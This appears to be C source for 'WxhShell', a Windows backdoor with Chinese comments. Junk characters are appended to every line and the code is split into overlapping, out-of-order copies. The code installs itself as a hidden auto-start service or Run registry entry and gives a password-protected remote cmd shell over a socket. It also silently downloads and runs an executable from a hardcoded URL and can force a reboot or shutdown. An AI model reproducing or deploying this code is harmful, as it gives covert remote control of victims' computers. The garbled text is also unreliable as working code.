    if(Boot(SHUTDOWN)) kZ!&3G9>-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }mS+%w"j  
    else { mHNqzdaa  
    closesocket(wsh); ~~#/jULbV  
    ExitThread(0); > Qh#pn*  
    } -U@ycx|r  
    break; UiZ1$d*  
    } ?y^ ix+ M  
  // 获取shell IOl0=+p  
  case 's': { f1t?<=3Ek<  
    CmdShell(wsh); +Xmza8T9  
    closesocket(wsh); >9[wjB2?}  
    ExitThread(0); b+$-f:mj  
    break; Ljk0K3Q6>  
  } GA.cp*2 ~  
  // 退出 5=;'LWXCJ  
  case 'x': { 2F:X:f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H#QPcp@  
    CloseIt(wsh); Bc}e ??F  
    break; Z FIgKWZ'  
    } 7Ur'@wr  
  // 离开 {tnhP^C3>  
  case 'q': { -i4hJC!3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pFEU^]V3*  
    closesocket(wsh); C0L(ti;  
    WSACleanup(); yI's=Iu`  
    exit(1); l+?sR<e?!  
    break; 6Q`7>l.|?  
        } 9A}nZ1Y  
  } 83Fmu/(  
  } d^`n/"Ice  
X&,a=#C^  
  // 提示信息 5WI0[7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pwV{@h!  
} D+*_iM6[-  
  } K Z0%J5  
r7v 1q  
  return; Ft8ii|-  
} b>| d Q  
,m)YL>k  
// shell模块句柄 ~uJO6C6A  
int CmdShell(SOCKET sock) i\\,Z L  
{ EyV6uk~  
STARTUPINFO si; Gdlx0i  
ZeroMemory(&si,sizeof(si)); r D|Bj(X8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +VHo YEW  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `~LaiN.  
PROCESS_INFORMATION ProcessInfo; }k6gO0z  
char cmdline[]="cmd"; pbqJtBBDDS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3L;&MG=  
  return 0; _\AT_Zmy  
} </qli-fXB}  
J8h H#7WMS  
// 自身启动模式 1@Rl^ey  
int StartFromService(void) 2}.EFQp+  
{ ~Yl%{1  
typedef struct o]0\Km  
{ n^rzl6dy  
  DWORD ExitStatus; $p.0[A(N  
  DWORD PebBaseAddress; Fh^Ax3P(  
  DWORD AffinityMask; q7zHT=@$  
  DWORD BasePriority; P L*kjrLu7  
  ULONG UniqueProcessId; vrXNa8,L  
  ULONG InheritedFromUniqueProcessId; d~O)mJ J  
}   PROCESS_BASIC_INFORMATION; m[&pR2T  
y-vB C3  
PROCNTQSIP NtQueryInformationProcess; ,in"8aT}~  
5~xv"S(E}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !,;/JxfgVh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /Y*6mQ:  
U\;mM\2rE  
  HANDLE             hProcess; }I#,o!)Vd  
  PROCESS_BASIC_INFORMATION pbi;  Tv~Ys#  
XNB4KjT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CGCSfoS9f  
  if(NULL == hInst ) return 0; I)f54AX  
gK- $y9]~+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YnX6U 1/^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |FZIUS{]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Rm=[Sj84  
%2rUJaOgy$  
  if (!NtQueryInformationProcess) return 0; bOdyrynh  
%hb!1I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); RhumNP<M  
  if(!hProcess) return 0; Ec|5'Kz]  
> 0NDlS%Q:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tfq; KR  
\ dZD2e4  
  CloseHandle(hProcess); )R"deb=s  
!8OUH6{2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8J+:5b_?  
if(hProcess==NULL) return 0; 9rQw~B<S  
^+Stvj:N  
HMODULE hMod; t+ O7dZt%r  
char procName[255]; 0D_{LBO6LU  
unsigned long cbNeeded; ~(d#T|ez  
>[TJ-%V>oR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6R%N jEW:  
kG]FB.@bG  
  CloseHandle(hProcess); o`ijdg!5qG  
"(SZ;y  
if(strstr(procName,"services")) return 1; // 以服务启动 [}=/?(5  
='GY:.N  
  return 0; // 注册表启动 xouy|Nn'  
} <LOas$  
 9/R<,  
// 主模块 }TAHVcX*p  
int StartWxhshell(LPSTR lpCmdLine) K@+(6\6I  
{ rJ_fg$.<  
  SOCKET wsl; '5m`[S-IU  
BOOL val=TRUE; 'Lv>!s 7  
  int port=0; "r.eN_d  
  struct sockaddr_in door; ao.v]6a  
nXcOFU  
  if(wscfg.ws_autoins) Install(); d"JI4)%  
P*sb@y>}O  
port=atoi(lpCmdLine); )K^5+oC17  
$sR-J'EE!  
if(port<=0) port=wscfg.ws_port; 4 | DGQ  
MbeO(Q  
  WSADATA data; Xw[|$#QKM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XveG#oyiU  
6?(vXPpT$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \Dn an5H/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NHq*&xy  
  door.sin_family = AF_INET; 5qx$=6PT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [}!obbM  
  door.sin_port = htons(port); Ww$ ?X LF  
f8?c[%br  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \3v}:E+3  
closesocket(wsl); 2zN%Z!a#J  
return 1; ?.b.mkJ  
} l:rT{l=8*  
q(cSHHv+  
  if(listen(wsl,2) == INVALID_SOCKET) { d 1bx5U  
closesocket(wsl); dTW3mF4=  
return 1; q2KWSh5  
} $mp'/]  
  Wxhshell(wsl); Ik74%x7G`  
  WSACleanup(); I4"U/iL51  
QnNddCiu=  
return 0; p6e9mSs  
U:o(%dk  
} L=."<,\  
$*[-kIy  
// 以NT服务方式启动 pJ 7="n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >rb8A6  
{ 2pQdDbm  
DWORD   status = 0; C [h^bBq  
  DWORD   specificError = 0xfffffff; +HOHu*D  
-%#F5br%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F/I`EV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @$(@64r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~)&im.Q4  
  serviceStatus.dwWin32ExitCode     = 0; N3}jLl/  
  serviceStatus.dwServiceSpecificExitCode = 0; P_f^gB7  
  serviceStatus.dwCheckPoint       = 0; z4 yV1  
  serviceStatus.dwWaitHint       = 0; c_YP#U  
j? P=}_Ru  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (77EZ07%  
  if (hServiceStatusHandle==0) return; ($ l t@j  
>m;*Zk`  
status = GetLastError(); ;3H#8x-  
  if (status!=NO_ERROR) p+>vX X  
{ Y"&1jud4xl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0ynvn9@t  
    serviceStatus.dwCheckPoint       = 0; ,S7 g=(27(  
    serviceStatus.dwWaitHint       = 0; KDzTe9  
    serviceStatus.dwWin32ExitCode     = status; YZH &KGY  
    serviceStatus.dwServiceSpecificExitCode = specificError; D-IXO @x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '6&a8&:  
    return; 9s}y*Vp  
  } BCtm05  
8S_v} NUm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L&2 Zn{#`  
  serviceStatus.dwCheckPoint       = 0; z1u1%FwOfM  
  serviceStatus.dwWaitHint       = 0; n!K<g.tjW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  ,m-/R  
} 8QYM/yAM  
wpLC,  
// 处理NT服务事件,比如:启动、停止 )m7 Yo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U1wsCH3+n  
{ *3>$ f.QU  
switch(fdwControl) Z-D4~?Tv  
{ _;1H2o2f  
case SERVICE_CONTROL_STOP: C_JDQByfL  
  serviceStatus.dwWin32ExitCode = 0; JM-rz#;1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (?7=$z!h  
  serviceStatus.dwCheckPoint   = 0; gZD,#D.hR  
  serviceStatus.dwWaitHint     = 0; dUg| {l  
  { zz 1e)W/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]VU a $$  
  } g,N"o72)  
  return; IfdgMELk  
case SERVICE_CONTROL_PAUSE: MSw:Ay [9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i$:\,  
  break; f4TNy^-  
case SERVICE_CONTROL_CONTINUE: b\l +S2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mSu1/?PS  
  break; *&VqAc%qD  
case SERVICE_CONTROL_INTERROGATE: iEJY[P1  
  break; (3>Z NTm  
}; f(o1J|U{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J|z>5Z  
} GukS =rC9  
+80yyn#  
// 标准应用程序主函数 ]"Qm25`Qz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1|c\^;cTkt  
{ 6fOh *  
X-&U-S;  
// 获取操作系统版本 *mgK^9<  
OsIsNt=GetOsVer(); | rDv!m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0Q1s JDa.  
</OZ,3J=  
  // 从命令行安装 dfmxz7V  
  if(strpbrk(lpCmdLine,"iI")) Install(); -8]M ,,?  
85Hb~|0  
  // 下载执行文件 lQolE P.pc  
if(wscfg.ws_downexe) { zu~E}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wSMP^kG  
  WinExec(wscfg.ws_filenam,SW_HIDE); dsh S+d  
} OEN!~-u  
Y^Olcz  
if(!OsIsNt) { w/`I2uYu  
// 如果时win9x,隐藏进程并且设置为注册表启动 -m.SN>V  
HideProc(); f;k'dqlv  
StartWxhshell(lpCmdLine); > %~%O`+  
} *Hnk,?kPq  
else FYe(S V(9  
  if(StartFromService()) k>8,/ AZd  
  // 以服务方式启动 `n# {}%  
  StartServiceCtrlDispatcher(DispatchTable); zMUifMiAj  
else $]G_^ji)K  
  // 普通方式启动 JY|f zL  
  StartWxhshell(lpCmdLine); ];.H]TIc6  
P1Z+XRWOM  
return 0; L(yR"A{FsE  
} UoLvc~n7  
BihXYux*  
~9OART='  
$ 'B0ZL  
=========================================== *[(}rpp M  
y3 R+060\3  
L;7x2&  
T-: @p>  
YmS}*>oz  
f ,?P1D\  
" ]&')# YO  
Ig hd,G-  
#include <stdio.h> `(r [BV|h}  
#include <string.h> gsqpQq7  
#include <windows.h> yJ(p-3O5  
#include <winsock2.h> M mjeFv  
#include <winsvc.h> (qDu|S3P  
#include <urlmon.h> nH#|]gVI  
, 8NY<sFh  
#pragma comment (lib, "Ws2_32.lib") Q.q'pJ-  
#pragma comment (lib, "urlmon.lib") ccUq!1  
?3Ytn+Py  
#define MAX_USER   100 // 最大客户端连接数 =+T$1  
#define BUF_SOCK   200 // sock buffer Qz+hS\yx  
#define KEY_BUFF   255 // 输入 buffer pV>M, f  
!18M!8Xea  
#define REBOOT     0   // 重启 [f'V pId8  
#define SHUTDOWN   1   // 关机 :<    
;'.[h*u~<  
#define DEF_PORT   5000 // 监听端口 0u]!C"VX  
Xgge_`T9  
#define REG_LEN     16   // 注册表键长度 ] Fx9!S  
#define SVC_LEN     80   // NT服务名长度 1]L 0r  
C0xj M0  
// 从dll定义API X  8V^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t,*hxzD"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jXBAo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r>=)Y32Q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \;z *j|;B  
{ XN"L3A  
// wxhshell配置信息 NArql  
struct WSCFG { %"2 ;i@  
  int ws_port;         // 监听端口 : GZx-  
  char ws_passstr[REG_LEN]; // 口令 ?N 6'*2{NT  
  int ws_autoins;       // 安装标记, 1=yes 0=no v'"0Ya  
  char ws_regname[REG_LEN]; // 注册表键名 =tJ}itcJ'  
  char ws_svcname[REG_LEN]; // 服务名 pq 4/>WzE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $"d< F3k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2L#$WuM~^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LRqBP|bjCD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U2=PmS P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t;7 tuq   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v-;j44sB  
p#VA-RSUQ|  
}; N|n"JKw)  
,4bqjkX5q  
// default Wxhshell configuration "T`Q,  
struct WSCFG wscfg={DEF_PORT, xwZcO  
    "xuhuanlingzhe", 0] 'Bd`e  
    1, b<|l* \  
    "Wxhshell", f?_UT}n  
    "Wxhshell", [ 7W@/qqv  
            "WxhShell Service", gK{-eS  
    "Wrsky Windows CmdShell Service", ^f:oKKaAW;  
    "Please Input Your Password: ", qSRE)C=)  
  1, (x{6N^J.t  
  "http://www.wrsky.com/wxhshell.exe", l-Hp^|3Wq  
  "Wxhshell.exe" ggr\nY  
    }; PVGvjc  
pDGX$1O"  
// 消息定义模块 X>C l{.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B|Y6;4?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (mHCK5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 481SDG[b  
char *msg_ws_ext="\n\rExit."; 01n5]^.p  
char *msg_ws_end="\n\rQuit."; +Ar=89  
char *msg_ws_boot="\n\rReboot..."; "~y@rqIba  
char *msg_ws_poff="\n\rShutdown..."; qNI2+<u)j  
char *msg_ws_down="\n\rSave to "; ('qu#.'  
(Kl96G<Wej  
char *msg_ws_err="\n\rErr!"; <r_L-  
char *msg_ws_ok="\n\rOK!"; F;5S2:a@Z  
g$c\(isY;  
char ExeFile[MAX_PATH]; YQb43Sh`  
int nUser = 0; ;naD`([  
HANDLE handles[MAX_USER]; _lrCf  
int OsIsNt; >wiW(Ki}  
f%Y'7~9bA  
SERVICE_STATUS       serviceStatus; a?4'',~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Nwu,:}T  
}g1V6 `8&  
// 函数声明 %#!`>S)O  
int Install(void); Mqu>#lL  
int Uninstall(void); q*,g  
int DownloadFile(char *sURL, SOCKET wsh); _~?N3G  
int Boot(int flag); J?d&+mt  
void HideProc(void); KZFnp=i  
int GetOsVer(void); (Sr D  
int Wxhshell(SOCKET wsl); D -Goi-4  
void TalkWithClient(void *cs); !,f{I5/  
int CmdShell(SOCKET sock); P&Vqr  
int StartFromService(void); :x*|?zII  
int StartWxhshell(LPSTR lpCmdLine); ^l}Esz`-M  
N=e-"8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dg9 DBn#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8lAs~c  
xh$1Rwa  
// 数据结构和表定义 {\!_S+}{  
SERVICE_TABLE_ENTRY DispatchTable[] = 3urL*Fw,  
{ YGRv``(  
{wscfg.ws_svcname, NTServiceMain}, D^+#RR'#,  
{NULL, NULL} 86bl'FdKS  
}; s8,N9o[.~P  
[42vO  
// 自我安装 P`JO6O:&  
int Install(void) ][ri A  
{ %UEV['=  
  char svExeFile[MAX_PATH]; a2l\B~n  
  HKEY key; g3r4>SA  
  strcpy(svExeFile,ExeFile); ~NYy@l   
bo]xah|."j  
// 如果是win9x系统,修改注册表设为自启动 u)]]9G _8  
if(!OsIsNt) { Z83A1`!.|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NdpcfZ q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RrMC[2=  
  RegCloseKey(key); iGG;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MdzG2uZT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /s91[n(d  
  RegCloseKey(key); }pP<+U  
  return 0; so~vnSQ!x  
    } 4CR.=  
  } {0J TN%e  
} 9,h'cf`F  
else { ?T+Uu  
fv1pA+zN[  
// 如果是NT以上系统,安装为系统服务 6$"gm$3O]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o)_;cCr)q  
if (schSCManager!=0) ?LP&VU1  
{ 7_,)"J2^  
  SC_HANDLE schService = CreateService "c[ D 0{\{  
  ( 9$-V/7@)  
  schSCManager, DOi\DJV!  
  wscfg.ws_svcname, C_>dJYM  
  wscfg.ws_svcdisp, t@K N+ C  
  SERVICE_ALL_ACCESS, h^{D "  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &X 0qH8W  
  SERVICE_AUTO_START, }O+F#/6  
  SERVICE_ERROR_NORMAL, o.qeF4\d6  
  svExeFile, <k2Qcicy  
  NULL, dl:uI5]  
  NULL, r^<W$-#  
  NULL, ?k$3( -  
  NULL, PCxv_Svf  
  NULL i qCZIahf  
  ); dA;f`Bi;Q  
  if (schService!=0) c< ke)@  
  { `4 Jlf!  
  CloseServiceHandle(schService); *], ]E;  
  CloseServiceHandle(schSCManager); wYTF:Ou^5~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7O3\  
  strcat(svExeFile,wscfg.ws_svcname); ;Drt4fOxX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -p|@Enn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 577H{;pW  
  RegCloseKey(key); /ESmQc:DWB  
  return 0; yFp8 >  
    } Gy*6I)l  
  } hhu !'(j  
  CloseServiceHandle(schSCManager); Isa]5>  
} *ujn+0)[  
} `WDN T0@M  
_e/>CiN/  
return 1; -J?i6BHb  
} n@9*>D U  
E 9=a+l9  
// 自我卸载 ZqaCe>  
int Uninstall(void) ;x.xj/7  
{ sxq'uF(K  
  HKEY key; n:c)R8X]  
7r=BGoA2E  
if(!OsIsNt) { >_ji`/ d{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y {]RhRR  
  RegDeleteValue(key,wscfg.ws_regname); a~b^`ykcWP  
  RegCloseKey(key); ^P&)2m:s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z!Y ^iN  
  RegDeleteValue(key,wscfg.ws_regname); pgK)  
  RegCloseKey(key); Xne{:!btw  
  return 0; KsZXdM/  
  } @/6cEiC+r\  
} Go>_4)jy  
} k(>hboR5n  
else { !b<c*J?f  
!o.l:Mr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8+ 5-7)  
if (schSCManager!=0) we6']iaV  
{ b<UZD yN~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gie}k)&M  
  if (schService!=0) )L?JH?$C  
  { T7E9l  
  if(DeleteService(schService)!=0) { '2+Rb7V  
  CloseServiceHandle(schService); FuEgI8+b  
  CloseServiceHandle(schSCManager); _9!_fIY  
  return 0; Xz`?b4i  
  } =y" lX{}G  
  CloseServiceHandle(schService); @}&o(q1M0  
  } >mzK96  
  CloseServiceHandle(schSCManager); a%2r]:?^?  
} K-V NU  
} MH{$"^K  
D4?qw$"  
return 1; m09 Bds  
} {b4+ Yc  
(dO, +~  
// 从指定url下载文件 ,@2d <d]  
int DownloadFile(char *sURL, SOCKET wsh) >SA?lG8f%  
{ E]PHO\f-m}  
  HRESULT hr; 7T \}nX1  
char seps[]= "/"; CrHH Ob  
char *token; a}l^+  
char *file; \ ]  
char myURL[MAX_PATH]; 1=C>S2q  
char myFILE[MAX_PATH]; 3| 5Af  
?YR/'Vq97  
strcpy(myURL,sURL); L5C4#X  
  token=strtok(myURL,seps); \& 6  
  while(token!=NULL) B6tp,Np5,  
  { 3rX5haD\  
    file=token; (Sc]dH  
  token=strtok(NULL,seps); ]wLHe2bE u  
  } U#v??Sl  
[bH5UTA  
GetCurrentDirectory(MAX_PATH,myFILE); %h;~@-$  
strcat(myFILE, "\\"); Bfw]#"N`  
strcat(myFILE, file); =8`,,=P^  
  send(wsh,myFILE,strlen(myFILE),0); ~fLuys`*:  
send(wsh,"...",3,0); r 5::c= Cl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n m4+$GW   
  if(hr==S_OK) F-%wOn /  
return 0; l%h0x*?$  
else v*}r<} j  
return 1; Mfjj+P  
pQc5'*FKd  
}  WTi8  
OF^v;4u  
// 系统电源模块 9I*zgM!F  
int Boot(int flag) WlnmW(uahW  
{ 3P C'P2  
  HANDLE hToken; H:x=v4NgsU  
  TOKEN_PRIVILEGES tkp; b!VaEK  
9j458Yd4*  
  if(OsIsNt) { tiJY$YqA  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >jU.R;H5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =\Td~>  
    tkp.PrivilegeCount = 1; =s"_! 7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6Zwrk-,A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (Nd5VuI  
if(flag==REBOOT) { DYlu`j_ux  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "`Q~rjc$2  
  return 0; Q:$<`K4)  
} qn}w]yGW  
else { ,.Ac= "f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [pf78  
  return 0; HJT}v/FZ  
} 7r#U^d(  
  } -AcLh0pc  
  else { ^`NU:"  
if(flag==REBOOT) { } =Yvs)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) E/@w6uIK[  
  return 0; r(./00a  
} h32QEz-+  
else { CqQ>"Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o9+ "6V|.  
  return 0; 4bD^Kc 4\  
} 1wpT"5B  
} 26|2r  
?qwTOi  
return 1; cA_77#<8  
} mZ sftby}  
/Y("Q#Ueq  
// win9x进程隐藏模块 )`?Es8uW  
void HideProc(void) +$M%"=tk  
{ qQC<oR  
E,,)?^g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); tW;?4}JR  
  if ( hKernel != NULL ) iK{ a9pt  
  { -miWXEe@l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); C=L_@{^Rgb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =E@wi?  
    FreeLibrary(hKernel); t_1a.Jv  
  } k@nx+fO}P  
r jfcZ@  
return; =pQA!u]QE  
} *x3";%o  
42mi 7%f  
// 获取操作系统版本 8:hUj>q x  
int GetOsVer(void) \ } ,="  
{ WvVHSa4{  
  OSVERSIONINFO winfo; .RocENO0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N8.K[m  
  GetVersionEx(&winfo); dOPA0Ja  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WoGK05w  
  return 1; p#HbN#^Hy  
  else MJsz  
  return 0; dj,7lJy  
} o, e y.  
(u`[I4z`  
// 客户端句柄模块 %/!n]g-  
int Wxhshell(SOCKET wsl) vq yR aaMf  
{ S'~Zlv 3`  
  SOCKET wsh; :Z|lGH =  
  struct sockaddr_in client; 1jU<]09.  
  DWORD myID; ro{q':Z3  
]nE_(*w  
  while(nUser<MAX_USER) m~Q]#r  
{ =Ly7H7Q2  
  int nSize=sizeof(client); kgfOH.P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W!B4~L  
  if(wsh==INVALID_SOCKET) return 1; J~7E8  
v%c r   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O8#}2  
if(handles[nUser]==0) ZC+F*:$  
  closesocket(wsh); g7!P|  
else 1{\{'EP{  
  nUser++; UBoN}iR  
  } $r%m<Uc;}O  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '~i;g.n=}-  
Zj;2>  
  return 0; (3z: ;  
} 9!sx  
jR<yV  
// 关闭 socket `M?C(  
void CloseIt(SOCKET wsh) c|q!C0X[  
{ @7 xb/&N  
closesocket(wsh); IxC/X5Mp^q  
nUser--; (,$ H!qKy  
ExitThread(0); DueQ1+ P  
} 2Wz/s 0`  
Hm2}xnY  
// 客户端请求句柄 41 sClC"  
void TalkWithClient(void *cs) ~J1;Z0}#  
{ |0:&d w?*!  
Ep-{Ew{T_=  
  SOCKET wsh=(SOCKET)cs; v w$VR PW  
  char pwd[SVC_LEN]; A[L+w9  
  char cmd[KEY_BUFF]; pC,MiV$c"  
char chr[1]; "-JJ6Bk  
int i,j; pnin;;D*  
SrzlR)  
  while (nUser < MAX_USER) { ;8m_[gfw  
.QX|:]|n  
if(wscfg.ws_passstr) { =&?}qa(P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <-uE pF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V#jFjObTN  
  //ZeroMemory(pwd,KEY_BUFF); {'dpRq{c|  
      i=0; |aef$f5  
  while(i<SVC_LEN) { rqk1 F~j|  
^yDCX  
  // 设置超时 >QRpRHtb  
  fd_set FdRead; 5_";EED  
  struct timeval TimeOut;  TA;  
  FD_ZERO(&FdRead); 8m Tjf Br  
  FD_SET(wsh,&FdRead); `?VtB!p@x=  
  TimeOut.tv_sec=8; :Bc)1^ I  
  TimeOut.tv_usec=0; U085qKyCw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +T:F :X`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +P,hT  
#I[tsly}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >*rsRR  
  pwd=chr[0]; `9M:B&  
  if(chr[0]==0xd || chr[0]==0xa) { !fF1tW  
  pwd=0; D-*`b&i48  
  break; S8;Dk@rr(y  
  } g+BW~e)  
  i++; QUd`({/@:  
    } z VleJ!d  
@F)51$Ld  
  // 如果是非法用户,关闭 socket un|+YqLf  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9?B}CCE<LR  
} @f442@_4  
f h05*]r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IT& U%hw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n1K"VjZk  
g(xuA^~J  
while(1) { ?H8w/{J   
Dg~r%F  
  ZeroMemory(cmd,KEY_BUFF); gaBt;@?:Q  
-;=0dfC(  
      // 自动支持客户端 telnet标准   b0PqP<{t  
  j=0; tcOgF:  
  while(j<KEY_BUFF) { F VW&&ft  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Unev[!  
  cmd[j]=chr[0]; aRg/oA4}  
  if(chr[0]==0xa || chr[0]==0xd) { 2ILMf?}  
  cmd[j]=0; vum6O 3  
  break; 88 ~BE ^  
  } Z 4NNrA#  
  j++; HV'xDy[)  
    } $I&DAGV0  
*FyBkG'  
  // 下载文件 i)fAm$8# G  
  if(strstr(cmd,"http://")) { '6i"pJ0%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i/;Ql, gm  
  if(DownloadFile(cmd,wsh)) ~PYMtg=i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5D0O.v  
  else `Q?rQ3A}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S'T&`"Mr  
  }  M\zM-B  
  else { )s^D}I(  
EjLj5Z/q  
    switch(cmd[0]) { zs!,PQF(  
  .G#wXsJj  
